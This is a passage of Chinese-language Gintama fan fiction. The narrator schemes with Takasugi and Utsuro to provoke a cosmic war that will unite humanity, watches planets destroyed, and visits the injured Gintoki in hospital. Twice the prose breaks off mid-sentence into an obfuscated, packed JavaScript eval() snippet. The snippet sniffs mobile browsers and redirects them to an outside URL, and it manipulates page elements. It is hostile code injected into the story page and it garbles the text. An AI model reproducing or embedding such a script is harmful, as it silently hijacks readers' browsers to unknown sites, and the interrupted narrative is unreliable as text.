瑟缩了一下,我咬了咬唇,壮着胆子迎视他,“晋晋,我要第七师团听命于我,带我去春雨。所以我必须打倒神威,无论是哪一种方式。” 我要从神威手中夺过第七师团,不需要他让位,但一定要他跟我同一阵线。对神威而言,目标什么的不重要,但必须要打倒他。 高杉轻扬眉毛,沉声道,“你想要做什么,阿萤。” 做什么? 看着他肃穆又阴森的面容,我忽然有点恍惚,脑海浮现的是那年闪烁着眼神把花递给我的那个得意又别扭的小子。 一直以来我都算是随遇而安,从开始想要回家,到时间跳跃拥有三段奇怪的过去后,看到现在的他们,加上现在我的身体情况……我才有了想要做的事。 “晋晋……我不喜欢这个世界,不喜欢这个时代,更不喜欢把我好不容易拥有的家夺走的幕府。但是,我很喜欢你们,所以……” 我站起来走到他身前,俯身抱着他,眼帘微阖,眼泪无声落在他颈背。 高杉没有动,但我圈着的身躯瞬间轻颤。 “晋晋,我要毁掉这个让你们那么痛苦的世界,破坏这个我不喜欢的时代。当年我什么都没做,对不起……你们最绝望的时候我也不在,什么也没能为你们分担,还要你们承受可能害死我的恐慌,对不起……哪怕现在我也无法做到帮你和银时解开心结,但希望有人……让我熟悉的那个,松下村塾的高杉晋助回到我们身边。在那之前,我来毁掉你不喜欢的世界。” 是的,高杉的事银时会努力,他一定 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他伸出手推着我的额头,退出我怀抱,抬眸冷笑,“你等着,很快,这个幕府就要完了。天道众也好,天人也罢,都逃不了,我会一个个把他们都拉下来杀光。” “不够。”我沉静地看着他,内心没有一丝波澜,语气冷淡轻蔑,“幕府算什么,不过是傀儡罢了。你所想要知道的,想要毁灭的一切,也许不过是时代的一个小插曲而已。晋晋,我没兴趣深究什么,对我来说,天人也不重要,没有了天道众,还会有其他……所以,我要毁灭这个世界,结束这个时代,取代他们成为人类的敌人。” 像是听到什么好笑的事,高杉的低笑慢慢变成大笑,带着入骨的讽刺。 良久之后,笑声渐歇,那只幽绿的独眸锁着我,有感叹也有诡异的嘲弄。他抬手抚上我的脸,拇指轻拭我眼角的泪痕。 “阿萤,你总是在意想不到的地方比任何人都要疯狂。我原以为,那个称号是个笑话。但现在看来幕府的人没错,比起假发,也许你才是真正继承老师思想的人。你跟老师……还真像啊。松下村塾不成器的,果然只有我和银时那个蠢货。” 倒幕?不,我只是纯粹想要轰烈地结束这个时代而已。而刚好,我知道怎样做到这个结束。 高杉错了,我不是继承松阳思想的人,我一直坚持的,是我自己的三观与意志。倒是行事上,确实跟松阳有几分相像,关键时刻都不管其他人的死活。 幕府算什么?天人,甚至虚都不是重点。在我眼里,重点是那些企图操控全宇宙星球龙脉的人,那些想要真正掌控宇宙势力的阴谋家。而这种势力光靠攘夷,不,单靠主角或者地球是无法轻易打败的。 更何况,我希望一个斩草除根的结局。 现在,虚对掌控龙脉的人出手,跟我的目标不谋而合。我要在这期间利用他的局做一些改变,确认那些人的依仗,把他们的底牌掀翻。同时,我要把幕府和攘夷势力全拉下水,让他们,甚至人类面对共同的地球危机。 我瞧不上这个世界,不爽这个时代已经很久了,现在未来于我已没有什么吸引,既然这样,我就把不顺眼都毁掉算了。我没想过可以做到哪一步,但去做就有机会赢,不做就只能眼睁睁看着他们以命去拼搏。 我相信,每个世界的规则都一样,只要把个人利益上升为众人利益,那么很多没可能的事都会变得有法可行。 若我能挑起人类共同的目标,那就算结局不由我亲自打开,最后的结果也能如我所愿。 “虽然不确定做到什么程度才算毁灭世界,但……晋晋,我不会输的。我已经跟银时他们说了,要跟辰马去宇宙旅行。你跟他的事,我就不管了,别死就是。至于我……我也很忙的。” 忙着毁灭世界。 我抱着手,抬高了下巴高傲地俯视他,“晋晋,你们就等着我威胁全人类吧。” 飞船轰隆的声音传来,强烈的风把我们的头发吹得飞扬,我抱了抱他,转身离开。 “慢着,”高杉蓦地伸手握着我的手腕,慢悠悠的语调有种诡异的兴奋,“毁灭世界这种好事,怎能光指望你跟辰马那几个蠢货?你想要毁灭的……不止这个世界吧,阿萤。” 我微愣,继而失笑。哪有不成器,我们家晋晋不是很聪明么。 回过头,我朝他灿笑,那幽绿的独眸里全是跟我一样的算计。 “那么,让我们一起去挑战这个宇宙,成为世界,还有人类的敌人吧~” 【神威,如果我赢了,第七师团就听我的。你好好活着,若最后我输了,你就杀掉我,一起回到那个天花板吧。】 69.格局很大的人类 【在这个大时代背景下,地球想要不被当成全宇宙的肥肉,就必须让宇宙知道地球人有自保的能力,或者说,人类有与整个宇宙抗争的能力。只有强大的武力作为后盾,各方的利益交错彼此互利,地球才能在宇宙所有势力之间找到独立稳定的生存空间,而不是纯粹作为天人觊觎的猎物。在这个前提下,时代才能真正地改变。】 【那就要挑战全宇宙,可不容易啊哈哈哈,一个不小心就会成为人类的罪人。】 【是啊,所以才说要成为人类公敌,威胁他们的生存,让他们团结起来。但是,如果能让人类停止无异议的内斗,一致对外,我们就算成功了。当人类的目光从权力内斗转向一致对外时,那才是开启新时代的机会。】 【真是伟大的目标……能做到吗?】 【当然,我们家的女人绝不会输,只要好好计划一下总会有出路的。】 【听着就有点不太现实,但不知道为什么,因为你们……我又觉得可以做得到。】 【伙伴们,这才是第一步。既然宇宙一体化,那人类就不能固守在地球上,我们得在有能力保护地球的前提下去宇宙征服星辰大海才行呢。】 【啊哈哈哈,啊哈哈哈哈,这个疯狂的想法该说不愧是阿萤你啊……那就让我们大干一场拉开新时代吧。】 浩瀚宇宙中,有无数颗星星,甚至每天每个时刻可能都有一个行星无声无息地消亡,也会有一个星球悄然诞生。 我从来没想过,做梦也没有梦过,有那么一天,我会正在宇宙中,近距离地经历一个星球毁灭的过程。 站在黄土沙粒地上,抬头是灰尘弥漫的天空,橙黄色的闪电不停在空中横劈而下,不远处一道强劲的光柱直抵天际。 慌乱的鲶鱼头天人四处奔走,与我们的队伍逆流而行。有些人向着光柱的方向跪拜,祈求天降神迹,有些人仇恨地瞪着我们,似乎下一刻就要扑过来跟我们同归于尽。 激光剑横劈震慑那些扑过来的人,脚踩在那些愚昧的人身上,我俯视着他们冷冷地低语,“与其求神降奇迹,不如赶快逃吧。这个世界连奇迹都需要自己来争取的。” “你们……是春雨……不对,你们是地球人?”吓得两眼狂瞪的天人脸色从紫转为白。 “是他们,灭了几个星球的那群地球人……”周围的人注意到我们,吓得跌坐在地上,“春雨第七师团的新人……那群凶残又狡猾的地球人……” “就是他们,毁灭了我们的星球。” 这个罪名真的是让我有点头疼。 否认吧,我还真的参与了;但承认吧,我又觉得委屈。 什么凶残,不就是杀了一些起哄的天人,还有做实验不小心炮轰了半个星球而已,但它们都快要爆炸了……我也是顺应时势而已!要是他们肯乖乖地撤离,我也可以很温柔的,至少不炮轰他们。而且,我都是笑着干这些事的! 良好的态度也应该加点印象分才对。 “这个星球已经没救了,快走吧。当然,不走的话,就去死吧。”我踢飞冲过来拼命的天人,挥挥手让人镇压。 靠,都一身血了就不要退了……一条血路很可怕的啊!我努力维持面上的笑容,不太理解为什么大家宁愿拖着残破的身体也要从我身边散开…… 我的笑容明明就很友善! 麻了,他们的眼神像看什么恶毒的魔鬼……越过他们,我淡定地往能量狂肆外喷的地方走去,任由狂风吹起斗篷。 “比起一个已经没有未来的星球,生命才是重要的,蠢货。” 狂飞的橙色闪电绕在身边,却很奇怪地没有落在我身上。 我皱着眉头观察那个井喷的地方,摸着下巴估算,“这个龙脉比上一个更有劲,就不知道能不能有点帮助了。” “应该是有的,我尝试把这些能量转化,希望能存储下来。” 一道女嗓从身后传来,我回头,女子一头干练短发,身穿第七师团特有的黑色功夫袍,脚踩黑靴,披着大斗篷。她拉下面罩,露出一个爽朗的笑容,“别担心,铃他们去搜晶石了,这次收获应该不少。” “那接下来,就看你们的了,良子。”我拍拍她的肩膀,有点感慨当年那个小姑娘已经变得如此厉害。 谁能想到当年石川城那个喜爱研发武器的小姑娘,会在这十年成为一个科技狂人,在宇宙中结识志同道合的朋友一直研究奇奇怪怪的东西。 更让我惊喜的是,她嫁给了泽木,自然而然地把团队打包给我了。真lucky~这也是我开始安排一切事情的底气。 “士别三日当刮目相待啊。我真是走了个大运,有这么一群能改变世界的科技人员,啧啧,我果然是天选的奇迹之女。” “什么啊,我们不过是研究一些能在人体长出机械手臂增加工厂效率,能解决便秘的纳米机器人等等,现在能参与毁灭世界这种大事,才是托了你的福呢~”良子兴致勃勃地打开仪器,收集这些涣散的能量,“更何况,没有你和辰马赚取这些暴利来作为我们的资金储备,我们可是什么都做不了的。” 什么暴利,我们可是正当生意人!星球都爆炸了,他们迁往外星也是要生活的,我们卖的物资都是优质货,价格当然要贵点啦! “那些富裕的天人就算逃亡买东西也毫不手软,咱们就应该再提个两成价~另一种劫富济贫呢~”良子越说,我就越心虚。 不是我敏感,怎么听起来我就是个教唆单纯科研人员误入歧途,还要趁火打劫谋取暴利的恶人。 啧,听着就很骄傲是怎么回事?我连忙甩甩头,把话题拉回重点。 “这些能量转化为武器的话有点阻碍,成功转化的不多,本来实体化作为汽油加入机械里头就很难了……啊啊,好浪费。”良子咬着唇苦恼。 “太难转化的话,就把精力集中在防护利用上,攻击的话可以考虑其他。”我不太懂科技,但逻辑一般是通用的。 “太零散的能量很难应对毁灭性的攻击,必须想个能即时接收能量实现转化的办法。大竹他们倒是有个新想法,刚好可以试行一下,如果顺利的话,只要我们能把龙脉的能量引过来,就是无尽的后备能源了。” 想起地球的龙脉做成了宇宙终点站,我灵光一闪,“我记得这个能源可以实现长短途对接,那要是这样的话,可不可以实现即时的定点空间迁跃?” 星球电影我没少看,有些战舰还能穿越黑洞做到光年间的闪现。 良子双眼一亮,“这个想法很好哦!我们也往这个方向努力一下,藤井那小子之前就热衷于瞬间转移的研究,只是没找到门路研发足够的能量。” “防护网力度不足那里还是要尽快解决,那是最后的希望。”我提醒道。 良子拍拍胸口应下,招呼后面那几个兴奋得手忙脚乱的家伙工作了。 登上飞船离开这个星球,站在玻璃窗前看那一场如同烟花般盛大的爆炸,我脑中不可避免地想如果这个是地球…… 切,还是挺不爽的。 这已经是第三个星球了。自从带走了第七师团的部份人,我顺理成章地归入春雨,与神威那边的夜兔分开行动。他们跟高杉在地球倒幕,而我带着人跟着虚到处破坏。 这是我亲眼目睹的第三个阿尔塔纳暴走的星球。 “漂亮吗?” 虚的声音蓦地响起,我偏头便看到屏幕里头那人笑眯眯的脸。 跟松阳一样的眉眼,却是截然不同的感觉。往日温柔清澈的笑容,如今只剩下满满的恶意和嘲讽。 “挺好看的。”像一场盛世的烟火,可惜代表的不是繁华,而是毁灭。 虚像是听到什么好笑的事般,眼底敛去讽刺,冷意更明显,“你想要什么?” “说过了啊,我想要陪着你,然后努力成为宇宙海贼王。”我露出笑容,“所以才说选择你了。” 他明显不信。说实话,我也有点不信,但他在我找上门的时候接受了。 “不老不死的人生太无聊了,既然你要挑起宇宙大战,这么好玩的事我当然要参与一下。你不是看到我真正的想法吗?我若是你,不但是地球,宇宙也会毁灭……你不就觉得我们心意相通才接受我么?” 我直视着他,那种强悍的压迫感在上次确认他不会杀我后便直接被我无视了。身体还是会颤栗害怕,但我神经足够强大,他的底线我慢慢探出经验了。 “这些星球因阿尔塔纳而毁灭,逃离的人就不会再信任掌握着阿尔塔纳的天道众,最后就会把目标定在地球……你挑起了宇宙跟地球之间的战争。逻辑我不太懂,但是……”我直白地问道,“我很好奇,毁灭人类,跟你想死有什么关系?” 要他死,毁掉龙脉不就行了?虽然地球会破坏,但也不是没有其他可能。 虚的视线从爆炸后归于宇宙尘埃的星球转到我脸上,“我尝试过无数种方法都无法被杀掉,漫长的岁月里头,我的痛苦,所有接受过这种不死之血的痛苦,甚至在地球上不停上演的痛苦……只要这个星球仍存在,是永远无法终结的。既然如此,就由我来终结这个星球,和所有人的痛苦。” 啊,懂了,就是要毁灭地球的同时顺便把地球人也毁灭掉。 “带着全人类去死吗?明明憎恨,却又始终渴望,得不到就毁灭。虚大人,你也有着人类的劣根呢。”我忍不住揶揄,眉眼都带了些坏坏的笑意。 他看我的眼神骤然转冷,隐约带了杀意。下一刻,通讯屏一黑。 “诶,脾气真大。”老男人真是难撩……当年就应该把他塞给神山女士。 我叹口气,揉了揉发疼的额角。这件事太大了,我心里负担不是没有的。 说实话,我不太在乎虚想要怎样,反正我只是借着这个机会让人类面临一场宇宙层面的战争,然后让人类团结起来,再让宇宙看到人类的力量而已。当然,如果我的计划顺利,还能借着虚的手把天道众……以及他们背后的东西,都毁掉。当这一切发展下去,人类新的时代才能开启。 “这场硬仗……到底什么时候真正开始呢……”我看着窗外那个曾经存在一个星球的位置,轻声低喃。 “阿萤,事情不太妙。”泽木匆匆跑了过来,脸色凝重,“地球传来消息,一桥派背叛了高杉大人。” “这么快?我以为他们能等到新将军上位后。”我眨眨眼,这事高杉有猜测,只是发生得比他预计的要早。 高杉想要利用春雨的势力和一桥派合作除掉德川派和现任将军。但天道众需要的是傀儡,所以他们会选择一桥派,剑指将军之位的一桥派会背叛高杉那边很正常。他把鬼兵队的人借给我,我也曾提醒过他。只是……比起跟我一起在宇宙抢掠,他更放不下地球的计划。 “你不担心?” “担心……”但我担心的,跟他们担心的不太一样。 那些笨蛋家人们啊,比起国家,我更担心他们的内部矛盾。高杉他……要杀德川茂茂肯定要先把站在那人面前的银时除掉。 是的,高杉放不下的,不仅仅是地球的计划,还有那个势必要一战的男人。 那两个笨蛋……终于要正面交锋了吗? “你要回去地球吗?”泽木看起来比我还要担心,哦对了,那些都是他偶像。 我点点头,“剩下的就交给你了。” 泽木朝我比了个OK的手势,非常热情地拍拍我的肩膀,“别担心,我偶像们一定会好好的。” 我有点好奇,整整十年过去了,他知道自己的偶像成了什么样子了吗? 听到我的问题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336747|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽木笑了笑,看向窗外浩瀚的宇宙,“这个世界每天都有很多的变化,但是啊……他们有些东西从来没变过。阿萤你不也是吗?因为这样,才会留在他们身边,想要他们保持的东西能继续保持下去。” 看着他的背影,我仿佛看到了那几个一直走在我前面,脊背从来没弯过的人们。不期然想起,新八跟我遗憾地吐槽过,曾经被称为武士之国的江户如今已经没什么武士了。 “不……明明就有很多。”直到现在我也不太懂武士道,但如果他们都不算的话,我不知道什么样的人还能称之为【武士】。 那些无论任何逆境都不曾停步,面对任何困难都不曾折腰的人们,无论命运怎样折腾依然坚守自己的信念与武士道的人们,他们不就是这个世界存在的武士么? “泽木,你和黑子,还有他们,甚至人妖店的大家……都是很出色的武士。” 新八同志,武士之国的武士,分明就还有很多呢,就连他自己,都是很出色的武士了。就因为从他们身上看到了那些隐藏的武士魂,我才会相信那个国家的人会团结起来面对宇宙的危机。 “啊啦,这个不是理所当然的吗?别看我壮了,我可从来都是以出色的武士来要求自己的,担得起大义,也护得住家人朋友,这是我的武士道!”泽木说这话的时候,双眼比外头的星球还要璀璨。 我伸出手,压着他的头揉了揉,“很厉害。” “阿萤,我可不是小孩了!” 大家都在前进,我也不能太落后。这边应该没什么问题,我该回家看看,然后跟虚演上一场好戏了。 家啊……难怪都说人是不能老是在同一个地方呆的,那条我住了不算久的街,现在已经成为我脱口而出的家了。 实验室内,巨大的屏幕不停刷动着代码和数据,那些数字和字母我都认识,但凑一起的话完全就是天书。 看着满屏幕的数据,我毫无想法,觉得自己能走到这一步真是纯粹靠运气,不愧是命运选择的人呢。 “良子,要不是你们,我大概什么也做不了。” 没有他们的话,我就只能向命运投诚,直接躺到最后封印龙脉了。 “什么啊,术业有专攻。你的想法才让我们豁然开朗呢。利用龙脉什么的,我们都没想到能参与灭世和救世哈哈~”良子双手飞快地敲着键盘,笑着道。 “除了武器,我还有个事想要你们研究的。” 我拿出一管密封的试管递过去。 良子几人凑过来一看,脸色微凝,“这是……血?” “这是我从天道众的船里头偷的,虚以前被他们研究时抽出来的血。” 天道众那些人早就不满足拥有一个不老不死的工具,他们想要长生,想要永远统治这个宇宙。这很正常,一个生命如果有意识,会想要饱暖,如果有了能力,会想要权利,如果有了权力,会想要拥有一切。 这也是一些生命的劣根,尤其是上位者。 这一切并不是我去春雨后查到或者虚主动告诉我的,是我在接触他的时候,从他的记忆里头看到的。 说实话,我很同情他,虽然他想毁灭地球,但……如果换成我,数百年的积怨下来,我大概能毁灭宇宙所有的生命来给我陪葬。 也许他接受我的原因,就在于他也能看到我比他更疯狂的想法吧。 “这些血就像吸血鬼的血一样,被人喝了或者注入人体,会形成细胞再生的功能,让伤口短时间内恢复如初,就算是致命伤也不会致命,从而做到不老不死。”我简单地介绍了一下。 “什么?”几人震惊,拿着试管的手都不稳了。 但他们的震惊也就开了个头而已,很快便恢复了懒散的常态,仿佛拿着的不过是普通的H2O。 “要那么长命干嘛?人类就是要在短短百年间做到奇迹才有炫耀的价值啊。”其中一人眼镜小哥疑惑搔搔头。 “对啊……”我也认同这个想法,尽管身体可能不老不死,但我一直求die。 生命最值得敬佩的,是在有限的时间内做到了不可能的大事。 “所以,能想办法解决这些功能,或者形成克制的血清吗?” 我没想太多,只是单纯觉得这种血就像蜘蛛侠的血清或者蛇毒之类,应该可以稀释或者克制。 世间万物,本来就是相生相克不是么? “这是我在那边偷的研究数据,你们可以参考。” 比起试管里的血,他们更在乎数据。把一个光碟夹在手指间,看着那几个科学怪人双眼发光的样子,我有点心慌。 我是想要封死那些阴谋家垄断宇宙霸权的后路,但绝对不想要制造出更可怕的阴谋家。 “别担心,我们对长生没兴趣。”其中一个眼镜中年男抬了抬下巴,“要是想要长生不老,这种东西我们也能研发出来,甚至可以更科学。但……永恒的生命有多惨,人鱼星球和一些精灵族的星球已经告诉我们了。” 宇宙浩瀚深奥,并不是没有长生种的存在,永恒不代表幸福和满足。漫长的时间会让感觉变淡,目睹生命消逝却只能等待的痛苦,不是普通寿命种能想象的。 “没错,能有志同道合的伙伴,能做自己喜欢的事,我可不想要不老不死这种东西。”另一人摸着自己的大胡子,“太长的人生会连自己经历的有意义的事也变得平淡。你们可别死太早就是了。” “大竹你先看看自己吧!比我们都老呢!” “啊哈,要是大家都有这种想法,那宇宙就太平多了。”我笑着晃了晃那张以虚的痛苦作为代价研究出来的数据光碟。 果然啊,有些东西,总是没有的人渴求,拥有的人不屑一顾。 真正拥有永恒的人,大部份都想死,如虚……或许还有我。 70.撒娇男人有人疼 “要来到这个世界很难,我们的生命由出生便已经开始倒数,就算早晚要道别,我们也不应该害怕,因为我们已经拥有过。人海茫茫,我们能够相遇已是奇迹。好好享受这趟旅程,看看沿途的风景,跟身边的人聊聊天,直到分离,才不枉此行。” 窗外的萧索,配着我这一段娓娓道来的朗诵,分外有感触。可惜,那个越听冷汗越潺潺流的病人不能体会这种感触。 “呐……阿银错了,对不起可以了吧……要打要杀你倒是动手啊……求你了,别再念这些让人脊背发寒的书了,能不能换JUMP啊?” 躺在病床上浑身都包着绷带的坂田银时投降般颤抖着嗓音求饶,小心翼翼地转头看了我一眼。 从书中抬眸,我冷然的眼神让他顿时心虚地别过脸。 “不,不是说照顾阿银的吗?你不知道一个七分的女人穿上护士服才能变十分吗?没有穿护士服就算了,至少念个jump周刊吧,不要那种哔哩啪啦的也行,□□的你想要念也可以哦……” 越说越低的音调,不是因为翻身扯痛了断骨,而是因为心虚。 我没有理会他,只是静静地看着他越发烦躁地揉乱本来就乱七八糟的卷发,那绯红的眼珠子不断在我和天花板之间游移。 “阿银都道歉了,你再这样恐怖就不应该了啊……呐,还能好好玩耍吗?杀人别用这样的眼神嘛……你知道自己现在看起来有多可怕吗?是那种穿上紧身护士超短裙却拿着比火箭还粗的针筒的黑暗生物啊,活像马上就要从井里爬出来的替身一样!” “没有护士服我也是十分。”我听不下去,啪地合上书,冷冷地道,“你把晋晋打成那样,我还坐着听你说话已经很照顾了。怎样,你那些硬骨头还没折够,想要我像小猿一样把你好好地折叠吊起来照顾照顾么?” 我不过是去宇宙发展一下事业而已,万事屋果然接下保护将军这个委托,还随着真选组一路打到了御庭番众的基地忍者村。不但跟幕府一桥派的人为敌,连春雨和天道众的人也插了一手,银时在那里跟高杉玩命般打了一架,差点双双死在那。 最后,伤痕累累的两人被天照院的奈落黄雀在后,几乎就团灭了,还好神威神乐兄妹给力一边一个把人带走。 想到高杉还生死未卜,我极力控制想要灭掉胧的欲望,那家伙居然想杀了高杉。妈的,早晚整死他! “阿银也伤得不轻啊,你没看到吗?一句安慰也没有,就只记着他……再说,致命伤也不是阿银我给的……”提到高杉,银时蓦地转头看着门口那边,声音低沉,说不出是怨恨还是惋惜。 缓了口气,他又开始提高了音调,口吻也无赖起来,“明明是那白痴自己犯傻……你就是偏心他,以前就老站他那边。还有假发也是,要不是阿银盯得紧,你上次都要跟他一起混进真选组当那个鬼三番队的队员了!他就算了,你脑子也上线一下好吧……真选组里头都是男的啊!” 这话就有点过分了,说得好像我只关心那两个人一样。 这次银时确实伤得不轻,整个人包得就比木乃伊好一点而已,一条腿还打了石膏吊着。虽然他咋呼的样子看起来没什么大碍,精神好得我都怀疑他会蹦起来开揍。 我自动把之前的蠢事过滤,反正桂的脱线不是一朝一夕了,我只是……偶尔配合去玩一下而已。后来桂跟德川茂茂耍的时候,我不也只是跟他一起围观么。 “哼,被阿银说中了心虚是吧?现在都说不出话来反驳了吗?你个混蛋……果然是偏心那中二男!你不用狡辩了,你的沉默和行为已经出卖你了……难怪忽然说去宇宙旅游,你其实是想去找他的吧……这边最要人帮忙的时候给阿银跑掉,说什么不想赚幕府的钱,分明就是偏心假发和那白痴……让我们万事屋孤单奋战……阿银受伤了也没人照顾,好不容易回来了还给我摆脸色……” “银时,你这两天……看什么神剧了吗?新八都带了什么影碟过来啊?” 我近乎佩服地看着他,才沉默了一下,银时就脑补了好几出晨间剧,把自己代入了无人照顾的可怜虫角色,那眼神仿佛我做了什么对不起他的事,眼角的泪都要掉出来了。 这种大狗流落街头没人在意的眼神是怎么回事?他不是猫系的吗? 讲点道理,就算我不去宇宙,他也会有一万个借口不让我插手暗杀将军这事,同样地,桂和高杉也势必会出手不让我卷入这场风暴。我离开才如他们所愿,而我不过是钻了这个空子利用鬼兵队的掩饰,光明正大去宇宙搞事业罢了。 大家心知肚明的事,怎么现在他就能歪曲成我不管他们万事屋死活,危机关头丢下他们,还偏心高杉和桂? 呵,男人就是会歪曲事实!坂田银时对我最常用的招数就是倒打一把! 我翻了个白眼,坐到床边,伸手朝他的胸骨戳了又戳,“说我偏心之前要不要问问你自己,我偏心谁?你受伤我马上就赶来了。你要不看看自己出场的频率?是谁早上买早餐顺手把宿醉抱着电线杆的你拎回万事屋?是谁被你扯着去干你们万事屋接的离谱委托?你被那把妖刀插菊花的时候是谁帮你查到那把刀的风流史?要我提醒你上次去找那些把你变成女人的天人的船票还是我付的钱……怎样,你干过的蠢事也要我数一次吗?” 高杉邀请我去倒幕我一开始也没去好吧,万事屋的离谱事情倒是掺和了不少……他怎么不想想,我押着他去医院的次数比我见高杉的次数还多。 越想越不爽,我手下用力。反正他连高杉的捅刀都不避,还怕我戳几下吗? “痛痛痛……公平点,阿银宿醉的时候也被你和神乐那混蛋扯起来做早饭啊……啊!伤口要裂开了!对不起,错了错了,阿银错了……”胸骨断裂严重又被捅了刀的银时顿时回头飙着泪瞪过来,抬起扎着绷带的手抓着我的,连连求饶。 我哼了声,瞧他那煞白的脸色忍不住心软。 那不安分的眼珠子瞥了我一眼,大概看到我没真的生气,他又不满地嘟囔,“你个死S……阿银我啊,就是不爽你老是跟他同一阵线,活像你也得跟着他一起扭曲去毁灭世界般,你是没在场而已,他都站不稳了还嘚瑟地说什么你跟他才是一伙……呸,你再笨也没那么中二。” 唉,我有点心虚,高杉没说错,现在我跟他确实一伙,也是以毁灭世界为目标…… 看他痛得冷汗都冒出来,我反握着他的手,垂眸看他,低声道,“抱歉,我没能阻止这一切。” 不论是他还是高杉,我都没有阻止,也不奢望自己能阻止这两个对彼此执拗男人。 “你也没打算阻止好吧……你很清楚,跟假发一样,你们都知道,只有这样才有可能走下去……”他无意识地抓紧我的手,沉静的目光落在天花上,低喃般道。 确实,我和桂从一开始都没打算介入他和高杉之间的死结。我们很清楚,这是高杉和银时之间的事,太过深刻的仇恨与深入骨髓的愧疚,容不得别人插手,我和桂也不行。 而在我看来,他们只是因为当年的罪由谁来背负吵架了……从小就这样,吵架了,就必须要打一架才会和好。这两个灵魂几乎重合的男人,同样的傲娇,同样的隐忍,属于他们之间的结,除了他们自己,无人能解开,哪怕赌上自己的命。 看着他表情满不在乎,但那双眼却深沉平静,我的心尖一阵锐痛。 跟松阳那个什么都藏在心里的男人一样,他的弟子们都不习惯展露自己脆弱的一面,哪怕痛得快死了也只会死撑,自己默默地忍下来。这种藏在无所谓外表底下的哀痛,只有在眼神流转的刹那才会稍微泄露,让捕捉到的人既无奈也无法放下。 27岁的坂田银时在正经的时候,眼神都是哀伤的,像下雨的天空。 伸出另一只手捂着他双眸,我俯身低头轻吻他额心,如轻哄般温柔,“银时,这十年……辛苦了。” 这十年有多难,我偶尔能从故意挑起过去话题的登势婆婆口中探知一二……坂田银时能活下来走到今天,真的太不容易了,值得奖励。 他的呼吸一窒,气息骤然乱了,握着我手的力度忽然大了起来,抿着唇低语,“喂喂,不带这样犯规啊……” “银时,你身边已经有着信任的伙伴和家人了,你一定要好好活着,像松阳说的那样活在阳光下,这样我才会觉得这个世界没那么讨厌,人生还值得去努力。” “呵……那真是荣幸。”话说得懒散,唇角却依然下压。 我眼神微暗,提起松阳,他的心绪依然很难平复。 转了转头,他似乎不满我捂着他的视线,却也没有反抗或者让我挪开。 “不用客气。”我轻笑着,仗着他看不见,近距离地打量他。 这个男人对我来说太过特别。虽然短暂但我也算是看过他最重要的成长阶段,从自命保护他,到如今被他无声地照顾和保护着。 比起高杉的信任和桂的纵容,坂田银时对我更多是保护。这个男人无声的温柔和全方位的照顾总是模糊了边界,以至于我现在已经分不清对他是怎样复杂的感觉。 真要细说的话,那只能是心疼,各种意义上的。 现在的他乖乖地任我摆弄,那张脸褪去少年的青涩,非常帅气俊俏。他也只有在不颜艺的时候才会这样帅气,当然,沐血战损时更吸引人,就是惨兮兮的。 我希望他们万事屋只干那些离谱搞笑又抽象的委托,至少他不会每次自虐到去掉半条命的样子。 平时一点点疼也会咋呼疼死了要人照顾的笨蛋,真有事永远都只会自己提刀上,全然不顾自己的安危,无论被数落多少次都是滑跪认错但坚决不改,过后还要倒打一把说我不帮忙。 遗憾的是,我大概无法陪着他走过接下来的危机……他想要保护我,可我也不自量力地只想要保护他们,为他们的未来扫清障碍……而我要做的事,不是单纯地留在他身边就能做到,甚至最后无论成功与否都会被他痛骂。 但没关系,没有我也没关系,有新八和神乐这两个单纯而热烈地追逐着他的孩子,有那些真心爱着他的人们,坂田银时一定会慢慢地得到救赎。 拥有其他人的爱虽然也代表背负着其他人的期待,但他一定不会放弃,背负着这些重担前行何尝不是一种幸福……停留在那一天的痛苦和绝望,会因为爱而释怀。 “银时,总有一天你会知道,我们所做的一切都是值得的。就这样坚守你的武士道吧,反正奇袭是你强项呢。”我低头,额头碰着他的,轻声笑道。 银时安静了一下,捏了捏我的手心,语带无奈,“别说这么恐怖的话……你是想干什么坏事还是已经闯了什么祸……” 拉门声响起打断了他的话。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350969|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银桑,我买了报纸……诶,不,不,不好意思,打,打扰你们了。” 新八一看到我们,满眼的慌乱,马上红着脸背过身去。 因为他的反应,我有点尴尬了……毕竟我们现在看起来确实不太和谐。 我维持着低头的姿势死鱼眼看着他的背影,慢慢地放下捂着银时双眼的手,顺便抽回被他握着的手,默默地退回椅子上。 银时挑眉瞥了我一眼,也没想要解释方才姿势上的暧昧,只是让新八把报纸拿过来。 我探头瞅了眼,暗忖新任将军的面相看着就不好,大概率干不长久。 病房莫名陷入一种诡异的宁静。 新八神色尴尬地看了看我,又看了看银时,欲言又止,眼神隐约有点八卦的味道。 我和银时脸色一个比一个正常,平静地吐槽报纸上那张被我断言干不长久的脸。 “虽然晚了十年,但江户还是要变天了呢。”我转头看向窗外,低声浅讽。 银时知道我的意思,几不可闻地嗤了声。 新八抿着唇低下头沉思良久,声音低哑又茫然,“银桑,阿萤姐……这个时代……这个国家,接下来到底会怎样啊……” 少年的眼神有些无助,他还是个孩子,一直活在姐姐和银时的庇护下。这次德川茂茂的事对他的打击挺大,新将军还偏偏是参与暗杀茂茂计划的那个一桥派的公子。 他们拼死拼活也没保住德川茂茂的将军之位,现在德川派退居京都寻求天子庇护另觅出路,新八对这个国家的未来更加茫然。 我顿了一下,看着他们晦暗的神色,忍下已到嘴边的话。 